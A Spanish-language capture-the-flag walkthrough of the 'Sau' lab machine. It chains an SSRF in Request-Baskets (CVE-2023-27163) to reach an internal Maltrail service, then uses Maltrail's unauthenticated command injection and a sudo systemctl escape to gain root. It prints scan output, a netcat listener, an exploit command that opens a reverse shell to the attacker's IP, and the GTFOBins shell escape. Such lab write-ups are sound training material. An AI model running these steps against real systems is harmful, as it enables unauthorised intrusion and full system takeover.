Sau

Publicado: 06 de Mayo de 2025 Autor: Josรฉ Miguel Romero aka x3m1Sec Dificultad: โญ Easy
๐ Descripciรณn
Sau es una mรกquina Linux de dificultad fรกcil que demuestra la explotaciรณn de una vulnerabilidad SSRF (Server-Side Request Forgery) en Request-Baskets y una posterior vulnerabilidad de ejecuciรณn remota de comandos en Maltrail. Para la escalada de privilegios, se abusa de un binario que se puede ejecutar como root a travรฉs de sudo.
๐ Metodologรญa
La metodologรญa seguida para comprometer la mรกquina Sau consiste en los siguientes pasos:
flowchart TD
A[Reconocimiento Inicial] --> B[Escaneo de Puertos]
B --> C{Anรกlisis de Servicios}
C --> D[Puerto 55555 - Request-Baskets]
C --> E[Puertos Filtrados - 80, 8338]
D --> F[Explotaciรณn de SSRF CVE-2023-27163]
F --> G[Acceso al Servicio Maltrail v0.53 en puerto 80]
G --> H[Explotaciรณn de RCE en Maltrail]
H --> I[Obtenciรณn de Shell como usuario puma]
I --> J[Verificaciรณn de permisos sudo]
J --> K[Explotaciรณn de systemctl para escalar privilegios]
K --> L[Obtenciรณn de Shell como root]
L --> M[Captura de flags]
๐ญ Reconocimiento
Ping para verificaciรณn en base a TTL
โฏ ping -c2 10.10.11.224
PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data.
64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=50.3 ms
64 bytes from 10.10.11.224: icmp_seq=2 ttl=63 time=47.9 ms
--- 10.10.11.224 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 47.932/49.097/50.262/1.165 ms
๐ก Nota: El TTL cercano a 64 sugiere que probablemente sea una mรกquina Linux.
Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.224 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
22,80,8338,55555
Enumeraciรณn de servicios
nmap -sC -sV -p$ports 10.10.11.224
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open http Golang net/http server
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 05 May 2025 12:15:59 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Mon, 05 May 2025 12:15:41 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Mon, 05 May 2025 12:15:42 GMT
| Content-Length: 0
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En base al escaneo de nmap verificamos que los puertos 22 y 55555 estรกn abiertos mientras que el 80 y el 8338 estรกn filtrados.
๐ Enumeraciรณn Web
http://10.10.11.224:55555/web

Descubrimos que se trata de un http collector para testear webhooks, notificaciones, etc:
https://github.com/darklynx/request-baskets
La versiรณn de este proyecto (1.2.1) parece que tiene una vulnerabildad a SSRF y hay algunos exploits pรบblicos:
https://vulners.com/packetstorm/PACKETSTORM:174128
๐ Anรกlisis de Vulnerabilidades
Request-Baskets SSRF (CVE-2023-27163)
Esta vulnerabilidad permite a un atacante realizar solicitudes desde el servidor hacia destinos internos que normalmente no serรญan accesibles desde el exterior. En el caso de Sau, esto nos permitiรณ acceder a servicios filtrados como el puerto 80 donde se ejecutaba Maltrail.
Las principales caracterรญsticas de esta vulnerabilidad son:
Permite la redirecciรณn de peticiones HTTP a servidores internos
No requiere autenticaciรณn para crear "cestas" que actรบan como proxies
Facilita la evasiรณn de restricciones de firewall internas
CVE-2023โ27163 representa una vulnerabilidad crรญtica de Server-Side Request Forgery (SSRF) que se identificรณ en Request-Baskets, afectando a todas las versiones hasta e incluyendo 1.2.1. Esta vulnerabilidad en particular otorga a los actores maliciosos la capacidad de obtener acceso no autorizado a los recursos de la red e informaciรณn confidencial explotando el /api/baskets/{name}
componente a travรฉs de solicitudes API cuidadosamente diseรฑadas.

ยฟCรณmo funciona?
Request-Baskets funciona como una aplicaciรณn web diseรฑada para recopilar y registrar solicitudes HTTP entrantes dirigidas a puntos finales especรญficos conocidos como โcestas.โ Durante la creaciรณn de estas cestas, los usuarios tienen la flexibilidad de especificar servidores alternativos a los que se deben reenviar estas solicitudes. El problema crรญtico aquรญ radica en el hecho de que los usuarios pueden especificar inadvertidamente los servicios a los que no deberรญan tener acceso, incluidos los que normalmente estรกn restringidos dentro de un entorno de red.
Por ejemplo, considere un escenario en el que el servidor aloja Solicitar-Cajas en el puerto 55555 y simultรกneamente ejecuta un servidor web Flask en el puerto 8000. El servidor Flask, sin embargo, estรก configurado para interactuar exclusivamente con el localhost. En este contexto, un atacante puede explotar la vulnerabilidad SSRF creando una cesta que reenvรญa solicitudes a http://localhost:8000
, evitando efectivamente las restricciones de red anteriores y obteniendo acceso al servidor web de Flask, que deberรญa haberse restringido solo al acceso local.
PoC
En este contexto, vimos que habรญa algunos puertos de la aplicaciรณn filtrados (80 y 8338), quizรกs si conseguimos explotar la vulnerabilidad SSRF en este puerto podamos redirigir peticiones a los servicios de los otros puertos a los que no tenemos acceso.
La explotaciรณn del ataque SSRF nos puede permitir el acceso no autenticado a cualquier servidor HTTP conectado a la misma red que el servidor Request-Baskets.
En primer lugar creamos una cesta para intentar aprovechar la vulnerabilidad SSRF para enumerar los servicios internos que se ejecutan en la mรกquina internos que se ejecutan en la mรกquina.:

Para comprobar si la instancia es vulnerable, primero iniciamos una escucha Netcat en el puerto 8000 e intentamos enviar una peticiรณn HTTP a nuestra IP.
nc -nlvp 8000
Ahora que ya tenemos nuestro listener Netcat funcionando, podemos proceder a iniciar una peticiรณn para determinar si se ha establecido una conexiรณn con nuestro listener. Para ello, debemos modificar la URL de solicitud dentro de la cesta creada para que coincida con la direcciรณn IP de nuestra mรกquina atacante.
Hacemos clic en el signo de engranaje en la esquina superior izquierda de nuestra cesta para que aparezcan los ajustes de configuraciรณn.

Ahora podemos lanzar un curl para verificar que recibimos la peticiรณn en nuestro listener
curl http://10.10.11.224:55555/test

Ya que hemos descubierto que la instancia es vulnerable y el escaneo Nmap mostrรณ el puerto 80 como filtrado, podemos usar esto para comprobar quรฉ servicio se ejecuta en el puerto.
Editaremos nuestra configuraciรณn proxy de nuevo y estableceremos la URL de reenvรญo en http://127.0.0.1:80 . Tambiรฉn habilitaremos los siguientes ajustes:

Proxy Response - Esto permite que la cesta se comporte como un proxy completo: respuestas del servicio subyacente configurado en forward_url. configurado en forward_url se devuelven a los clientes de las solicitudes originales. La configuraciรณn de configuraciรณn de las respuestas de la cesta se ignora en este caso.
Expandir ruta de reenvรญo - Con esta opciรณn, la ruta de la URL de reenvรญo se expandirรก cuando la peticiรณn HTTP original contiene una ruta compuesta.
Ahora basta con acceder a: http://10.10.11.224:55555/web/test y accederemos con รฉxito al servicio del puerto 80 que estaba filtrado:

Al acceder al servicio, vemos que se trata de un servicio mailtrail v0.53 el cual parece que es vulnerable a Unauthenticated OS Command Injection (RCE):
Mailtrail -Unauthenticated OS Command Injection (RCE)
Maltrail versiรณn 0.53 contiene una vulnerabilidad de inyecciรณn de comandos del sistema operativo que no requiere autenticaciรณn. Esta vulnerabilidad se encuentra en el parรกmetro username
del endpoint de login, permitiendo ejecutar comandos arbitrarios en el servidor.
El vector de ataque consiste en:
Enviar una peticiรณn POST al endpoint
/login
Inyectar comandos en el parรกmetro
username
Los comandos se ejecutan con los privilegios del usuario que ejecuta el servicio Maltrail
https://github.com/spookier/Maltrail-v0.53-Exploit
python3 exploit.py 10.10.14.8 1234 http://10.10.11.224:55555/test


Hacemos un spawn de la tty:
SHELL=/bin/bash script -q /dev/null
Capturamos la flag del directorio /home/puma:
cat user.txt
*************c6911648d77c65eeec
puma@sau:~$
๐ Escalada de Privilegios
Verificamos si el usuario puma puede ejecutar algรบn binario como root:
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Podemos abusar de este binario para escalar privilegios tal como se describe en: https://gtfobins.github.io/gtfobins/systemctl/
sudo /usr/bin/systemctl status trail.service
!sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# cat root.txt
cat root.txt
d9a74************56f54743813

Last updated